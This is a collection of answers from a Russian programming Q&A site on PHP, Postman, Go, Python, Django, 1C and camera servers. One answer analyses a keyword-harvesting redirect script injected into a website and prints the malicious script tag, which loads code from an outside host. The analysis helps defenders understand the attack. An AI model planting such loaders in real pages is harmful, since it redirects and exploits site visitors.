• Почему не работает конструктор класса?

    @sand3001
    Всего по немногу
    амечание: Конструкторы, определённые в классах-родителях, не вызываются автоматически, если дочерний класс определяет собственный конструктор. Чтобы вызвать конструктор, объявленный в родительском классе, требуется вызвать parent::__construct() внутри конструктора дочернего класса. Если в дочернем классе не определён конструктор, то он может быть унаследован от родительского класса как обычный метод (если он не был определён как приватный).

    Вот оригинал
    Ответ написан
    Комментировать
  • Как в postman шаблоне сделать цикл в цикле?

    Fzero0
    @Fzero0
    Вечный студент
    Не до конца понял Ваш вопрос но вы можете подготовить как угодно данные и передать их в шаблон
    let template = `
    <html>
        <head>
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"
        integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
        </head>
        <body>
        <h1>Результат: {{code}}</h1>
       <div class="table-responsive"> 
        <table class="table table-striped">
            <thead class="thead-dark">
            <tr>
                {{#each names}}
                    <th scope="col">{{this}}</th>
                {{/each}}
            </tr>
            </thead>
            <tbody>
            {{#each response}}
                <tr>
                    <td>{{userId}}</td>
                    <td>{{id}}</td>
                    <td>{{title}}</td>
                    <td>{{body}}</td>
                </tr>
            {{/each}}
            </tbody>
        </table>
        </div>
        </body>
    </html>`;
    var data = pm.response.json();
    var name = data.map(x=> Object.keys(x));
    
    pm.visualizer.set(template,{
        names: [...new Set(name)][0],
        code: pm.response.code,
        response: data
    });

    6101c37d4037c135697211.png
    Ответ написан
    1 комментарий
  • Как получить исходный код страницы из iframe?

    @zkrvndm
    Софт для автоматизации
    JavaScript имеет доступ только к тем фреймам, что загружены с вашего домена! Соответственно, если вам нужен доступ к фрейму, где чужой сайт, сделайте так, чтобы фрейм стал вашим, т. е. грузился уже с вашего домена - запроксируйте чужой сайт через свой домен.
    Ответ написан
    4 комментария
  • Почему не срабатывает замыкание?

    tumbler
    @tumbler
    бекенд-разработчик на python
    Потому что не по ссылке, а по значению. Т.е. длина, емкость и указатель на данные слайса - копируются, сами данные - нет.
    Ответ написан
    2 комментария
  • Почему Go не видит переменную установленную в TestMain?

    tumbler
    @tumbler
    бекенд-разработчик на python
    databaseURL := os.Getenv("DATABASE_URL")
    Потому что вы в TestMain объявляете локальную переменную, не трогая глобальную.
    Ответ написан
    1 комментарий
  • Как обрезать фото человека с определнной точки(я хочу взять глаз человека и вокруг него обрезать), что читать?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Думаю надо использовать искуственный интелект да?

    Сначала нужно использовать естественный.
    Потом погуглить 2 минутки и вуаля
    Ответ написан
    Комментировать
  • Реально ли работать на питоне не понимая сути декораторов?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    В общем пытаюсь учить питон и не могу никак понять суть декораторов.

    Всё зависит от того, насколько давно вы уже пытаетесь их понять и всё никак.
    Если покумекав пару минут уже отчаялись, то наверно программирование - не ваша стезя.
    Если прочитав пару статей не смогли разобраться, то, может быть, следует сделать еще одну попытку. Или вы считаете, что это прям рокет сайнс и раз уж с первого подхода не осилили, то это уж на всю жизнь теперь "работать без декораторов". Судьба.

    Вообще меня удивляет такой фатализм. Ну не понял ты что-то, так разбирайся, а не беги выяснять можно ли без этого прожить всю жизнь. Декораторы - это очень простая концепция.
    Если ты не способен её понять, то программировать профессионально не сможешь - это факт.

    И нет, на декораторах свет клином не сошелся. Нужно понимать что в питоне функция - это объект первого рода и что это значит.
    Нужно понимать, что такое "замыкание" в контексте функционального программирования.
    Более того, нужно понимать что такое дескрипторы, как работают мета-классы и много-много всего такого.

    Нет, с этими знаниями не рождаются, их нужно осваивать.

    Декораторы - это очень простая концепция.
    Декоратор - это функция, которая принимает в качестве единственного аргумента какую-то функцию. Декоратор что-то делает с этой функцией (где-то регистрирует ее, документирует, оборачивает её вызов в другую функию) и возвращает её изменённую или другую функцию-обёртку.

    Что конкретно вам не понятно?

    Надо заметить, что Декоратор как паттерн проектирования имеет боле еширокий смысл. Декорировать можно объекты, классы, функции, даже модули (постольку, поскольку это тоже объекты). Учиться вам надо, сударь, и не ожидать, что всё прошьётся в мозг мгновенно. Быть программистом - это всегда учиться. Не останавливаясь.

    Примеров декораторов огромное множество: самые простые и понятные - это:
    - замер времени выполнения функции
    - кэширование результата
    - подстановка части аргументов (partial)
    Ответ написан
    4 комментария
  • Как сделать выборку из нескольких таблиц с помощью Django ORM?

    winordie
    @winordie
    Лучшая документация -- исходники
    Person.objects.order_by(
      'id', '-transfer__data_transfer').distinct('id').values_list(
      'last_name', 'transfer__new_position__position_name', 'transfer__data_transfer')
    Ответ написан
    3 комментария
  • Возможно ли достать отчет из 1с по REST-интерфейсу?

    Fragster
    @Fragster
    помогло? отметь решением!
    Добавив http сервис 1с с не очень большим количеством методов, вы сможете генерить произвольные отчеты с относительно произвольными настройками, получая результат в html/json/xml. Конечно, речь не о сложных отчетах с отдельными формами настроек, программным выводом, а о тех, которые идут с обычной СКД. одна функция на получение доступных пользовательских настроек, еще несколько запросов odata для заполнения этих самых настроек и еще одна, которой скармливается xml с объектом XDTO с пользовательскими настройками и возвращающая html. Звучит просто и для простых случаев реализуется недолго. Для сложных, конечно, придется попотеть.
    Ответ написан
    Комментировать
  • Видео сервер на 5 или 8 камер?

    gbg
    @gbg Куратор тега Linux
    Любые ответы на любые вопросы
    Камеры Hikvision и их софт. Работает идеально.

    Ну или да, zoneminder и motion.
    Ответ написан
    Комментировать
  • Видео сервер на 5 или 8 камер?

    @brar
    Дмитрий Шицков: +1
    maksachv В случае с IP можно смотреть в сторону motion или zoneminder
    Ответ написан
    Комментировать
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • Корректно ли вытаскивать список таблиц с услоием?

    MaxDukov
    @MaxDukov
    впишусь в проект как SRE/DevOps.
    нормально.
    альтернатива - SELECT из INFORMATON_SCHEMA
    Ответ написан
    2 комментария
  • Почему гаджеты (наушники и плееры) с функцией активного шумоподавления уже давно существуют, а отдельного модуля АШП нет?

    SADKO
    @SADKO
    aka -=SADKO=-
    АШП не универсальная серебряная пуля, она сильно завязана на конкретную конструкцию и компоненты наушников. Пересаженная в другие условия АШП работать не будет.
    Ответ написан
    Комментировать